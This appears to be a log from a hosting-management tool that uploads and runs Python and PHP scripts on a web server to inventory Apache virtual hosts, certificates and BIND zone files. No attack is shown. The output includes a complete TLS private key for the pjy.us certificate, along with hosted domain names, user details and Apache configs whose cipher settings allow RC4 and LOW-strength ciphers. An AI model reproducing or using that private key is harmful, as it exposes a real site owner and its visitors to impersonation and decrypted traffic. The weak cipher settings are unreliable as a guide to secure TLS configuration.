filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 19:50:55:
chmod 755 /tmp/pkp728432; /tmp/pkp728432; rm /tmp/pkp728432
2025-12-31 19:50:55:
2025-12-31 19:50:55:
PUT: /tmp/pkp465289
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/pjy_home_us.conf')
show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt')
show_file('/etc/apache2/sites-available/pjy_alive_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 19:50:55:
chmod 755 /tmp/pkp465289; /tmp/pkp465289; rm /tmp/pkp465289
2025-12-31 19:50:56:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf 1252
<VirtualHost *:80>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/pjy/home_access.log combined
ErrorLog /var/log/apache2/pjy/home_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/home_secure_access.log combined
ErrorLog /var/log/apache2/pjy/home_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt 5344
04:47:de:e0:75:06:0e:2d:af:6a:43:32:28:28:df:02
-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBlGsPY0n/u6/tczpijPN+ZLFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjMxMDUwMTUxWhcNMjYwMzMxMDUwMTUwWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjYFQTXZQg
43x/4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQln
SNCdNQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbU
uGZZZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyv
f8OxX2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBL
ZKxLhLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYL
O/76YL5I3GoNAgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFI/E
S40AvdEt95RDVwGSf/L0cFy6MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzcwLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AA5XlLzzrqk+Mxss
mQez95Dfm8I9cTIl3SGpJaxhxU4hAAABm3L+NxUAAAQDAEcwRQIgCsqlaGrzvjQJ
bbq4XwTYBgfi3OBQde5/mDCJ8fg0BYECIQC/OGOy8k1VhR3DJ5Ewi4s7sgJF+O4v
6JUPMY2pjOh09QB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAAB
m3L+N8sACAAABQAFotPhBAMARzBFAiBNpxLuUs35St6dfAvsdJ299yoMPQ/D0KIj
hnhZUvR1MQIhALP3KM6Rh9VfOl8AniIakXug9DXexpsGvOWGubhDTYPtMA0GCSqG
SIb3DQEBCwUAA4IBAQCcqz+ap4lFaNB1+Re71yY+8dGPQYzv6BMsikoLqTiqqfuK
ZGQWXRSh9lkfQTcREXSdGHIOODvq17rFCi8DOPbvTesqVdzt3I3mEJLkUMroIc07
lN/SGXGZ6cUzWX5PyjZ3fQ0EbXU3Z1BSiAqPrpabKOzITQprCqS9S1OmnX6h5LRo
YDHiDmetNLupYfUVb6wr2I2sMX+z+ukTmXDWbr7bomM75SOrbPIfC7X8vZseLwmQ
NkOMqbhmaRs5+d/l0s361v/eZxbTTK7HAbQz2alzf3CeIQPQ50a4dM0/Sf0+Q3Rz
Fq3iUaLhqd5U8911FAOOWjMPri0qeojHZB2Z6f2u
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCjYFQTXZQg43x/
4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQlnSNCd
NQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbUuGZZ
ZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyvf8Ox
X2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBLZKxL
hLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYLO/76
YL5I3GoNAgMBAAECggEAAUcRET+zl1hAEn31RKVy6MNkFmle+EB9ECdhg1xE27Ot
6HB50R2HvlLbNPu9I4oi5y8IaRlvM+QRYZFXIUY4gEFFDh67dymxTJzfwwVuFeAc
Wiu/cbrrKrajAQ5QwwU6ul4h5AImAO7aOgu/V6VUSxMGtcRKlwGlRuIRY+neg+8E
dGNLNaiczIaP3Vv33gCPwzZJKzyrH/LAbx6OjgL3KMda8IJwOuy128aD/lBOZT8r
jvSi4p8pl1U+c4qWEoOT1ntJa9Mh5xGQYjMO1Q1g1YyIDMD9/DV3UqDez2qGmoSL
RZkTyPHIwo7Ov73+cCvMzKga2NVM8vfvSPL9/jzGMQKBgQDRsVUQ756G+LttmGE6
8bGpcp47mi6Kcboiimk0hag4kpWPNRbq5ta8bk4z4P6eRjt7Deq2O2jGiAyh8pmS
dQtIbnpP//xA0zp0EL0Pv1iGliL3ti8V7mrCgFmaGHO9LiydjGLDl4J0+R7AA/j/
np0DHaJ3+f/9QOAj32MEj7fZeQKBgQDHdJDJUnkcEKa393zKjJLN7KKXBDJmMdhr
hN/cJZtdEPHEYkRCRH3xsa5zZ6zbXcwhHgjuZccNUhaEc+WkpmhxUPy8/UV8/wzF
tbBssrBoBsGHuIU/UNNfp7hns8YChUVv43ZvNtcspuNU3fdaksefnZTt2WRxScre
6ObG2HqENQKBgQCN3T1B0fscMVcMVFUjfbTGgMbQaAUooLxe9ekrIWmnrHQGiNJS
ZY3NuYqqyoM4LSe8nrO2SgcemZiCUBDZ5tmVTTjuuq68ZKtdLp3Z84g+tYA+ukCs
w7nykMcN25Eh4gVJKVsAHJaj8I5/NbDVr0dmfjwWk0o+2g9J9a2Vvm2RcQKBgQC0
sJH2AEP9O8x9PrSLnjvkV6qX2tJ5qFBiXzaZ7mvILPCJM2iZDAl4qrnajKKY/GlP
2zDGH+fq1mHVzlTNC3/0oCTGZT/NVBVTCxzv7BVJuE0c0fnMeUF0F7JEKCWK5QcZ
rNv/NpRKPEoX+Rn7sJstq4lezCFlTC+AL0fZ/gVHvQKBgB8lFbPJOiglYop0sE3y
xIKqiIDDheDx/2TWJWMtPCUYd/HV5s2L6IqyqEAD0kUQQPZgkm/U1xb3HTaaYVZu
FeHAYX3ahsyRGM4Vgs4l+s4/m5jw0/7JISCTh1elazvmUkAb9h5fp7atSzOoEfPJ
ZKlJA2mLjPYFFKB0vR6b/OMj
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_alive_us.conf 1148
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_secure_access.log combined
ErrorLog /var/log/apache2/pjy/alive_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b9ce2481167e0c8ff8043a7d3d00b4f5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= ce1f6e17f522b8249fe9f88a5fba801d
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 1516a9c3e0f6707ee8508f17374a4965
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 16e37f95816efad64fa47f57af88785c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 0d7ac0488abb570c4dee9f344699ee85
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 857ed811123186988820094a2835f368
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= ce1f6e17f522b8249fe9f88a5fba801d
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
STDERR:
/tmp/pkp728432:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-31 19:52:29: Establishing a connection
2025-12-31 19:52:29:
PUT: /tmp/pkp233177
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 19:52:29:
runuser -l bind -s /bin/bash -c '/tmp/pkp233177; rm /tmp/pkp233177'
2025-12-31 19:52:29:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
